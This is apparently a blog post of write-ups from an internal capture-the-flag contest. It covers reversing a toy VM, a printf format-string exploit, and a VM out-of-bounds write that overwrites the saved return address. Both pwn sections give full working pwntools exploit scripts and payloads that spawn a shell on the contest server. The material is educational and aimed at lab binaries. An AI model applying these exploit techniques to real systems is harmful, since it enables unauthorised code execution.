HATS CTF
Some writeups for an internal CTF hosted by some seniors in HATS SG. Managed to place first in the end, which I’m quite happy about.
Writeups
babyvm-re (reversing)
You have stumbled across a interesting piece of code with seemingly random letters and numbers, can you help find what the key is?
Hint: Slowly analyse the vm, try making sense of what each instruction does
Solution
As usual, we start by running the binary provided first:
Enter the key
aaaa
Verifying
Wrong key!
The binary seems to ask for a key, which can be assumed to be the flag. It then checks if the key is correct and outputs Wrong key!
if the key is incorrect. Next, we analyze the source code:
Part of the code in main:
char key[101]={},
stack[101]={},
input[1337]={},
code1[] = "2u4mmimmiup2u6mimimimup2u7mmimmup2u6mmimmiup2u7mmmimup2u4mmmup2u7mmimmup2u6mimmmup2u6mmimmiup2u4mmmup2u6mimmimiup2u6mmimmiup2u7mimmmiup2u5mup",
code2[] = "2u5mmimimup2u6mmimmiup2u7mmmimup2u6mimmmiup2u6mmimimup2u7mimmmiup2u6mimmmiup2u6mimimimup2u6mmimimiup2u5mup",
code3[] = "0r2u6mmr2u6mmimmiu0r2u5mimir2u5mmmu0r2u5mimr2u4mmmiu0r2u5mmir2u5mmmimiu0r2u5mmr2u4mimmiu0r2u4mimir2u7mimu0r2u4mimr2u6mmmmu0r2u4mmir2u4mimimimu0r2u4mmr2u5mimimimu0r2u7mir2u6mmimimu0r2u7mr2u5mimmmu0r2u6mir2u5mmmimu0r2u6mr2u5mmmiu0r2u5mir2u4mimimu0r2u5mr2u5mmimmiu9r2u5mmimu8r2u6mimmimu7r2u5mimmmu6r2u6mmimimiu5r2u7mmmmiu4r2u7mmimimiu3r2u5mmmmu2r2u5mmmimu1r2u4mmmmu0r2u4mimmmu",
code4[] = "2u5mmimimiup2u7mmmimup2u6mimimimiup2u6mimimimup2u6mmimimiup2u4mmmup2u6mimmimiup2u6mmimmiup2u7mimmmiup2u4mmmiup2u5mup",
code5[] = "2u4mmimimup2u6mimimmup2u6mmmmiup2u6mmimimiup2u4mmmup2u7mmimup2u4mmmup";
As seen in the main function, The binary works by writing special lines of code, named code1[]
to code5[]
, and passing them through the vmstep function with buffers to be written to, such as stack
or key
. We can see that code1[]
, code2[]
, code4[]
and code5[]
are used to output statements after running the binary.
vmstep function:
int vmstep(char op,char* stack){
switch(op | 0x20){
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
ax = (op | 0x20) - 0x30;
break;
case 'a':
ax += stack[sp];
break;
case 'd':
--ax;
break;
case ' ':
case 'e':
return 0;
case 'i':
++ax;
break;
case 'j':
ip += ax - 1;
break;
case 'm':
ax *= stack[sp];
break;
case 'p':
printf("%c",stack[sp]);
break;
case 'r':
sp = ax;
break;
case 's':
ax -= stack[sp];
break;
case 'u':
stack[sp] = ax;
break;
case 'z':
if(stack[sp] == 0){
ip += ax - 1;
}
break;
default:
break;
}
return 1;
}
There are 4 special variables that are used in vmstep and vmexec:
ip
represents the instruction pointer, basically a variable to count the number of instructions.sp
is the stack pointer, which is used to overwrite/change values in the stackax
is the AX register, used to perform instructions such as changing the value ofsp
or the values in the stackstack
represents the buffer that is passed into the functions, namely thekey
orstack
in main. Memory in these buffers will be changed.
Each letter or character in the codes represents an instruction that changes one of these 4 variables in some way. For example, p
is used to execute printf("%c", stack[sp])
.
Part of the code in main:
int i;
vmexec(code1,stack);
scanf("%1337s", &input);
vmexec(code2,stack);
vmexec(input,key);
vmexec(code3,stack);
for(i=0;i<100;++i){
if(key[i] == '\x00' && stack[i] == '\x00'){
i = -1;
break;
}
if(key[i] != stack[i] + i){
break;
}
}
In the above code, the binary stores our input in key
. vmexec(code3,stack);
then changes the values in the stack
. The binary proceeds to check if key[i]
is equal to stack[i] + i
. As key
is the flag, we can assume that stack[i] + i
represents each individual character code in the flag after vmexec(code3,stack);
is run.
To solve the challenge, we simply run vmexec(code3, stack);
and print out the ASCII characters represented by stack[i] + i
. Below is the final code to solve the challenge:
#include <stdio.h>
int ip = 0;
int sp = 0;
int ax = 0;
int vmstep(char op,char* stack){
switch(op | 0x20){
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
ax = (op | 0x20) - 0x30;
break;
case 'a':
ax += stack[sp];
break;
case 'd':
--ax;
break;
case ' ':
case 'e':
return 0;
case 'i':
++ax;
break;
case 'j':
ip += ax - 1;
break;
case 'm':
ax *= stack[sp];
break;
case 'p':
printf("%c",stack[sp]);
break;
case 'r':
sp = ax;
break;
case 's':
ax -= stack[sp];
break;
case 'u':
stack[sp] = ax;
break;
case 'z':
if(stack[sp] == 0){
ip += ax - 1;
}
break;
default:
break;
}
return 1;
}
void vmexec(char* code, char* stack){
ip = 0;
while(1){
if(vmstep(code[ip],stack) == 0){
break;
}
++ip;
}
}
int main(){
char code3[] = "0r2u6mmr2u6mmimmiu0r2u5mimir2u5mmmu0r2u5mimr2u4mmmiu0r2u5mmir2u5mmmimiu0r2u5mmr2u4mimmiu0r2u4mimir2u7mimu0r2u4mimr2u6mmmmu0r2u4mmir2u4mimimimu0r2u4mmr2u5mimimimu0r2u7mir2u6mmimimu0r2u7mr2u5mimmmu0r2u6mir2u5mmmimu0r2u6mr2u5mmmiu0r2u5mir2u4mimimu0r2u5mr2u5mmimmiu9r2u5mmimu8r2u6mimmimu7r2u5mimmmu6r2u6mmimimiu5r2u7mmmmiu4r2u7mmimimiu3r2u5mmmmu2r2u5mmmimu1r2u4mmmmu0r2u4mimmmu";
char stack[101]={};
vmexec(code3,stack);
for (int i=0; i<100; i++) printf("%c", stack[i]+i);
return 0;
}
Flag: HATS{vm_r3_15_fun_r19h7?}
ezprintf (pwn)
Printf is wonky. Time to exploit its wonkyness.
nc challs.hats.sg 1304
Reading material: https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf
Solution
This challenge is a standard format string challenge.
Here’s the simplified decompilation of main:
magic = 0;
read(0,input,0x400);
printf(input);
if (magic != 0) {
system("/bin/sh");
}
Obviously, the line printf(input);
contains a format string vulnerability. The format string argument was missing from printf
, which could be exploited to print and overwrite addresses on the stack.
The objective of the challenge was to overwrite the value of magic
, which would instantly give us a shell. However, the address of magic
which was 0x0060106c
, contained a null byte, which would cause printf
to stop “executing” our payload once the null byte was reached.
To overcome this, the address of magic
can be placed last in the payload. We can use the format specifier %15$n
to overwrite magic
, where magic
is the 15th value on the stack to be printed. This ensures magic
is overwritten before the null byte is reached.
The payload contains the following:
"%x "*21
: Prints the first 21 arguments on the stack in hex. It allows us to locate the address ofmagic
in the stack after including it in our payload."%15$n "
: The format specifier%n
overwrites the next address on the stack with the number of bytes printed. This is used to overwritemagic
with the number of bytes currently printed."BBB"
: This is used to align stack, ensuring the address ofmagic
isn’t split up.- The address of
magic
.
Here’s the final exploit:
from pwn import *
from LibcSearcher import LibcSearcher
import sys
config = {
"elf" : "./ezprintf",
#"libc" : "./",
#"ld" : "./",
"HOST" : "challs.hats.sg",
"PORT" : 1304,
}
def exploit(p):
magic = elf.symbols['magic'] #0x0060106c
payload = "%x "*21 + "%15$n "
payload += "BBB" + p64(magic)
sl(payload)
p.interactive()
if __name__ == "__main__":
elf = context.binary = ELF(config["elf"])
if "libc" in config.keys() and config["libc"]:
libc = ELF(config["libc"])
if sys.argv[-1] == "remote":
p = remote(config["HOST"], config["PORT"])
else:
if "libc" in dir():
p = process([config["ld"], config["elf"]], env={"LD_PRELOAD" : config["libc"]})
else:
p = process(config["elf"])
pause()
sl = lambda a: p.sendline(a)
sla = lambda a,b: p.sendlineafter(a,b)
r = lambda a: p.recv(a)
ru = lambda a: p.recvuntil(a)
lg = lambda a : log.info(a)
exploit(p)
Flag: HATS{h3h1_that_w1z_3z}
babyvm-pwn (pwn)
Now the vm is hosted on a server, i feel like there is something hidden in the server too…
nc challs.hats.sg 1308
Hint: Can you modify the return pointer?
Solution
Before reading this writeup, I suggest reading the writeup for babyvm-re if you have not done so. The explanation of source code and “reversing part” of the challenge is explained there.
We start by running checksec
on the binary:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Note that both ASLR and PIE are enabled. ASLR randomizes the address of the stack, heap and libc, while PIE randomizes the address of .text section by initializing a random offset everytime the binary is run. This means the address of user defined functions in code, such as win or main, will not be fixed.
Here are the important parts of the source code:
vmstep function:
int vmstep(char op,char* stack){
switch(op | 0x20){
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
ax = (op | 0x20) - 0x30;
break;
case 'a':
ax += stack[sp];
break;
case 'd':
--ax;
break;
case ' ':
case 'e':
return 0;
case 'i':
++ax;
break;
case 'j':
ip += ax - 1;
break;
case 'm':
ax *= stack[sp];
break;
case 'p':
printf("%c",stack[sp]);
break;
case 'r':
sp = ax;
break;
case 's':
ax -= stack[sp];
break;
case 'u':
stack[sp] = ax;
break;
case 'z':
if(stack[sp] == 0){
ip += ax - 1;
}
break;
default:
break;
}
return 1;
}
Part of the code in main:
char key[101]={},
stack[101]={},
input[1337]={},
code1[] = "2u4mmimmiup2u6mimimimup2u7mmimmup2u6mmimmiup2u7mmmimup2u4mmmup2u7mmimmup2u6mimmmup2u6mmimmiup2u4mmmup2u6mimmimiup2u6mmimmiup2u7mimmmiup2u5mup",
code2[] = "2u5mmimimup2u6mmimmiup2u7mmmimup2u6mimmmiup2u6mmimimup2u7mimmmiup2u6mimmmiup2u6mimimimup2u6mmimimiup2u5mup",
code3[] = "0r2u6mmr2u6mmimmiu0r2u5mimir2u5mmmu0r2u5mimr2u4mmmiu0r2u5mmir2u5mmmimiu0r2u5mmr2u4mimmiu0r2u4mimir2u7mimu0r2u4mimr2u6mmmmu0r2u4mmir2u4mimimimu0r2u4mmr2u5mimimimu0r2u7mir2u6mmimimu0r2u7mr2u5mimmmu0r2u6mir2u5mmmimu0r2u6mr2u5mmmiu0r2u5mir2u4mimimu0r2u5mr2u5mmimmiu9r2u5mmimu8r2u6mimmimu7r2u5mimmmu6r2u6mmimimiu5r2u7mmmmiu4r2u7mmimimiu3r2u5mmmmu2r2u5mmmimu1r2u4mmmmu0r2u4mimmmu",
code4[] = "2u5mmimimiup2u7mmmimup2u6mimimimiup2u6mimimimup2u6mmimimiup2u4mmmup2u6mimmimiup2u6mmimmiup2u7mimmmiup2u4mmmiup2u5mup",
code5[] = "2u4mmimimup2u6mimimmup2u6mmmmiup2u6mmimimiup2u4mmmup2u7mmimup2u4mmmup";
int i;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
vmexec(code1,stack);
scanf("%1337s", &input);
vmexec(code2,stack);
vmexec(input,key);
vmexec(code3,stack);
The challenge has a vulnerability similar to a buffer overflow. The statement vmexec(input,key);
allows us to write instructions to overwrite values in the key
buffer. However, as vmstep does not check ax
to ensure its value is within range of the buffer, we are essentially able to overwrite any location in memory relative to the location of key
in memory.
These instructions are essential to exploiting the vulnerability:
0
sets the value ofax
to 0.d
decreases the value ofax
by 1.i
increases the value ofax
by 1.r
sets the value ofsp
to the value ofax
. Basically,sp = ax
.a
adds the value atstack[sp]
toax
. Basically,ax += stack[sp]
.u
sets the value atstack[sp]
to the value ofax
. Basically,stack[sp] = ax
.
Here’s an example to help you visualize the vulnerability. If the input contains:
'0' + 'i'*999 + 'ru'
We would overwrite key[999]
with the value 999. As seen in the example, we are able to overwrite any area in memory as long as our payload is not more than 1337 characters.
The exploit works by overwriting the return instruction pointer (RIP) with the address of win, which would give us a shell. Developing the exploit has 3 stages:
-
Finding the offset of RIP
We can find the offset of RIP from thekey
buffer by a trial and error process. This can be done by overwriting every value up to a certain offset and using gdb to check if RIP is overwritten. We increase the offset if gdb is not overwritten, and decrease if it is overwritten. Keep in mind that the address of RIP would be smaller than the address ofkey
, hence the offset should be negative. -
Calculating the address of win
Due to PIE, the address of win will change everytime the binary is run. This means that the base offset of the address will change and only the last 2 bytes are known.Luckily for us, when we overwrite RIP, it contains the address of
main + 1501
. This means we only have to overwrite the last 2 bytes of RIP to call win, thus bypassing PIE. The last byte of win, which is fixed, is 0xa1. We can calculate the second last byte usingoffset = (saved_rip - win) >> 8
, wheresaved_rip
is the address ofmain + 1501
andwin
is the address of win. This works as the difference between win andmain + 1501
is constant regardless of PIE. -
Overwriting RIP with the address of win
An offset of 103 overwrites the second last byte of RIP while 104 overwrites the last byte. The following code overwrites the last 2 bytes of RIP to become the address of win:payload = '0' + 'd'*103 + 'r' + "0au" + 'd'*offset + 'u' payload += '0' + 'd'*104 + 'r' + '0' + 'i'*0xa1 + 'u'
Here’s the final exploit used to solve the challenge:
from pwn import *
from LibcSearcher import LibcSearcher
import sys
config = {
"elf" : "./chal",
#"libc" : "./",
#"ld" : "./",
"HOST" : "challs.hats.sg",
"PORT" : 1308,
}
def exploit(p):
win = elf.symbols['win']
saved_rip = elf.symbols['main']+1501
offset = (saved_rip - win) >> 8
payload = '0' + 'd'*103 + 'r' + "0au" + 'd'*offset + 'u'
payload += '0' + 'd'*104 + 'r' + '0' + 'i'*0xa1 + 'u'
sla("Enter the key\n", payload)
p.interactive()
if __name__ == "__main__":
elf = context.binary = ELF(config["elf"])
if "libc" in config.keys() and config["libc"]:
libc = ELF(config["libc"])
if sys.argv[-1] == "remote":
p = remote(config["HOST"], config["PORT"])
else:
if "libc" in dir():
p = process([config["ld"], config["elf"]], env={"LD_PRELOAD" : config["libc"]})
else:
p = process(config["elf"])
pause()
sl = lambda a: p.sendline(a)
sla = lambda a,b: p.sendlineafter(a,b)
r = lambda a: p.recv(a)
ru = lambda a: p.recvuntil(a)
lg = lambda a : log.info(a)
exploit(p)
Flag: HATS{vm5_4r3_c00l_4r3n7_7h3y}